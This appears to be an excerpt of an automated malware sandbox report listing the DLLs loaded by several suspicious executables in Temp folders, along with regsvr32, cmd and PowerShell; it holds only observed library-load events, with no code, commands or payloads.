Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: perfos.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: onecorecommonproxystub.dll
